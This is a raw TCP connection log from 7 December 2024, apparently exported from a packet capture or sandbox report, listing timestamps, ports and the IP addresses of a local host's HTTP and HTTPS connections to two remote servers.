Dec 7, 2024 08:43:26.206300020 CET	80	49725	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:26.206373930 CET	49725	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:27.463444948 CET	443	49736	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.464855909 CET	49736	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.464873075 CET	443	49736	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.466362000 CET	443	49737	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.466860056 CET	49737	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.466861010 CET	49736	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.466869116 CET	443	49736	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.466876984 CET	443	49737	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.467327118 CET	49737	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.467331886 CET	443	49737	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.470016956 CET	443	49738	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.470530033 CET	49738	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.470540047 CET	443	49738	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.470664978 CET	443	49740	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.470989943 CET	49738	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.471002102 CET	443	49738	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.471452951 CET	49740	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.471477985 CET	443	49740	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.471888065 CET	49740	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.471894979 CET	443	49740	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.472434998 CET	443	49739	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.472825050 CET	49739	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.472836971 CET	443	49739	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.473184109 CET	49739	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.473187923 CET	443	49739	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.905706882 CET	443	49737	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.905714035 CET	443	49738	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.905738115 CET	443	49738	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.905776978 CET	443	49737	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.905783892 CET	443	49738	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.905806065 CET	49738	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.905864954 CET	49738	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.905867100 CET	49737	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.906084061 CET	49738	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.906101942 CET	443	49738	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.906112909 CET	49738	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.906119108 CET	443	49738	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.906281948 CET	49737	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.906300068 CET	443	49737	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.906311035 CET	49737	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.906316042 CET	443	49737	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.906933069 CET	443	49740	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.906992912 CET	443	49740	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.907063961 CET	49740	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.907661915 CET	49740	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.907680988 CET	443	49740	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.907691956 CET	49740	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.907697916 CET	443	49740	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.909620047 CET	443	49736	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.909641981 CET	443	49736	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.909703970 CET	443	49736	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.909722090 CET	49736	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.909785986 CET	49736	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.909970999 CET	49743	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.909993887 CET	49742	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.910000086 CET	443	49743	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.910027981 CET	443	49742	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.910082102 CET	49742	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.910089016 CET	49743	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.910231113 CET	49736	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.910231113 CET	49736	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.910243034 CET	443	49736	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.910250902 CET	443	49736	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.910434961 CET	49743	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.910444975 CET	443	49743	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.910533905 CET	49742	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.910550117 CET	443	49742	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.911767960 CET	49744	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.911783934 CET	443	49744	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.911887884 CET	49744	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.912007093 CET	49744	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.912017107 CET	443	49744	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.912781000 CET	49745	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.912801981 CET	443	49745	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.912877083 CET	49745	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.912971020 CET	49745	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.912986040 CET	443	49745	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.913955927 CET	443	49739	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.913976908 CET	443	49739	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.914025068 CET	443	49739	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.914035082 CET	49739	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.914079905 CET	49739	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.914140940 CET	49739	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.914144993 CET	443	49739	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.914172888 CET	49739	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.914176941 CET	443	49739	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.916104078 CET	49746	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.916110039 CET	443	49746	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:27.916167974 CET	49746	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.916326046 CET	49746	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:27.916335106 CET	443	49746	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:29.630970955 CET	443	49742	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:29.631709099 CET	443	49745	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:29.631814003 CET	443	49744	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:29.631922960 CET	49742	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:29.631944895 CET	443	49742	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:29.632394075 CET	49742	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:29.632400036 CET	443	49742	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:29.632422924 CET	49745	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:29.632438898 CET	443	49745	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:29.632708073 CET	49744	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:29.632710934 CET	443	49743	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:29.632735968 CET	443	49744	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:29.632980108 CET	443	49746	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:29.633023024 CET	49745	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:29.633028984 CET	443	49745	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:29.633095026 CET	49744	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:29.633100033 CET	443	49744	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:29.633127928 CET	49743	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:29.633147955 CET	443	49743	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:29.633517027 CET	49743	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:29.633517981 CET	49746	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:29.633524895 CET	443	49743	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:29.633532047 CET	443	49746	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:29.633685112 CET	49746	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:29.633687973 CET	443	49746	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.064477921 CET	443	49742	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.064548016 CET	443	49742	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.064605951 CET	49742	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.065033913 CET	49742	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.065053940 CET	443	49742	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.065066099 CET	49742	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.065080881 CET	443	49742	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.065545082 CET	443	49745	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.065608978 CET	443	49745	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.065669060 CET	49745	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.066040039 CET	443	49744	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.066112041 CET	443	49744	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.066334963 CET	49745	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.066353083 CET	443	49745	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.066360950 CET	49744	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.066363096 CET	49745	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.066369057 CET	443	49745	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.066627979 CET	443	49743	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.066699028 CET	443	49743	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.066747904 CET	49743	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.067060947 CET	443	49746	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.067116976 CET	443	49746	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.067167997 CET	49746	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.067188025 CET	49743	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.067188025 CET	49743	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.067205906 CET	443	49743	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.067213058 CET	443	49743	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.067356110 CET	49746	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.067356110 CET	49746	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.067370892 CET	443	49746	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.067378044 CET	443	49746	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.067939043 CET	49744	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.067943096 CET	443	49744	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.070558071 CET	49748	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.070580006 CET	443	49748	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.070610046 CET	49749	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.070635080 CET	443	49749	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.070662022 CET	49748	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.070674896 CET	49749	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.070979118 CET	49748	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.070991039 CET	443	49748	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.071062088 CET	49749	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.071074009 CET	443	49749	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.071933031 CET	49750	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.071940899 CET	443	49750	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.072005033 CET	49750	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.072165012 CET	49750	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.072175026 CET	443	49750	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.072714090 CET	49751	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.072724104 CET	443	49751	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.072868109 CET	49751	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.072988987 CET	49751	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.073003054 CET	443	49751	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.073323965 CET	49752	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.073362112 CET	443	49752	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:30.073426008 CET	49752	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.073520899 CET	49752	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:30.073533058 CET	443	49752	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:31.607381105 CET	443	49751	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:31.607464075 CET	443	49750	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:31.608279943 CET	49751	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:31.608318090 CET	443	49751	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:31.608409882 CET	49750	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:31.608428955 CET	443	49750	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:31.608870029 CET	49751	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:31.608880997 CET	443	49751	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:31.609092951 CET	49750	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:31.609097958 CET	443	49750	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:31.797741890 CET	443	49748	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:31.798382044 CET	49748	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:31.798386097 CET	443	49749	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:31.798405886 CET	443	49748	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:31.798681974 CET	49749	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:31.798697948 CET	443	49749	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:31.798767090 CET	443	49752	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:31.798891068 CET	49748	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:31.798897028 CET	443	49748	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:31.799179077 CET	49749	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:31.799185038 CET	443	49749	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:31.799185991 CET	49752	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:31.799209118 CET	443	49752	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:31.799565077 CET	49752	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:31.799570084 CET	443	49752	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.042551041 CET	443	49750	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.042608023 CET	443	49750	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.042790890 CET	49750	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.042917967 CET	49750	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.042933941 CET	443	49750	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.042943954 CET	49750	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.042948961 CET	443	49750	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.043168068 CET	443	49751	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.043216944 CET	443	49751	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.043256998 CET	49751	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.044675112 CET	49751	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.044694901 CET	443	49751	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.044706106 CET	49751	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.044713020 CET	443	49751	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.046169996 CET	49754	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.046195984 CET	443	49754	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.046261072 CET	49754	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.046428919 CET	49754	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.046439886 CET	443	49754	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.048342943 CET	49755	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.048374891 CET	443	49755	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.048434973 CET	49755	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.048573017 CET	49755	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.048583031 CET	443	49755	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.232235909 CET	443	49748	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.232309103 CET	443	49748	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.232402086 CET	49748	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.232775927 CET	49748	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.232785940 CET	443	49748	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.232796907 CET	49748	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.232800961 CET	443	49748	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.232837915 CET	443	49749	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.232899904 CET	443	49749	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.232944965 CET	49749	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.233062983 CET	49749	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.233083010 CET	443	49749	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.233093023 CET	49749	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.233098984 CET	443	49749	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.233233929 CET	443	49752	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.233294964 CET	443	49752	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.233334064 CET	49752	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.233570099 CET	49752	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.233581066 CET	443	49752	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.233594894 CET	49752	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.233598948 CET	443	49752	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.236763000 CET	49756	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.236797094 CET	443	49756	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.236881018 CET	49756	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.237001896 CET	49757	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.237042904 CET	443	49757	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.237107038 CET	49757	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.237165928 CET	49756	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.237176895 CET	443	49756	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.237277985 CET	49757	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.237292051 CET	443	49757	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.237504005 CET	49758	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.237510920 CET	443	49758	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.237566948 CET	49758	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.237726927 CET	49758	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:32.237735033 CET	443	49758	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:32.758866072 CET	49725	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:32.759208918 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:32.878752947 CET	80	49725	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:32.878954887 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:32.879143953 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:32.879276991 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:32.998990059 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:33.761749029 CET	443	49754	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:33.763575077 CET	49754	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:33.763587952 CET	443	49754	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:33.763760090 CET	443	49755	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:33.764102936 CET	49754	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:33.764108896 CET	443	49754	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:33.764328003 CET	49755	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:33.764353991 CET	443	49755	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:33.764657974 CET	49755	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:33.764662981 CET	443	49755	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:33.955043077 CET	443	49758	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:33.955728054 CET	443	49757	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:33.955863953 CET	443	49756	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:33.968327999 CET	49758	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:33.968347073 CET	443	49758	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:33.972384930 CET	49758	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:33.972394943 CET	443	49758	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:33.972464085 CET	49757	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:33.972486019 CET	443	49757	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:33.976339102 CET	49757	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:33.976345062 CET	443	49757	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:33.976588964 CET	49756	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:33.976596117 CET	443	49756	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:33.980401039 CET	49756	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:33.980406046 CET	443	49756	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.196058989 CET	443	49754	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.196109056 CET	443	49754	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.196171999 CET	49754	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.196441889 CET	49754	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.196455002 CET	443	49754	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.196468115 CET	49754	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.196472883 CET	443	49754	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.198020935 CET	443	49755	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.198069096 CET	443	49755	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.198118925 CET	49755	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.198235035 CET	49755	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.198244095 CET	443	49755	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.198257923 CET	49755	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.198261976 CET	443	49755	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.199851990 CET	49760	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.199882030 CET	443	49760	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.199955940 CET	49760	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.200102091 CET	49760	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.200113058 CET	443	49760	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.200769901 CET	49761	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.200814009 CET	443	49761	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.200870991 CET	49761	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.200974941 CET	49761	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.200992107 CET	443	49761	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.388982058 CET	443	49758	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.389034986 CET	443	49758	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.389089108 CET	49758	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.389328957 CET	49758	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.389338970 CET	443	49758	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.389348030 CET	49758	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.389352083 CET	443	49758	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.390348911 CET	443	49757	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.390419960 CET	443	49757	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.390470028 CET	49757	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.390686035 CET	49757	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.390703917 CET	443	49757	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.390714884 CET	49757	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.390719891 CET	443	49757	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.392834902 CET	49762	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.392855883 CET	443	49762	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.392924070 CET	49762	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.393156052 CET	49763	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.393201113 CET	443	49763	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.393259048 CET	49763	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.393326998 CET	49762	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.393338919 CET	443	49762	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.393424988 CET	49763	443	192.168.2.5	13.107.246.63
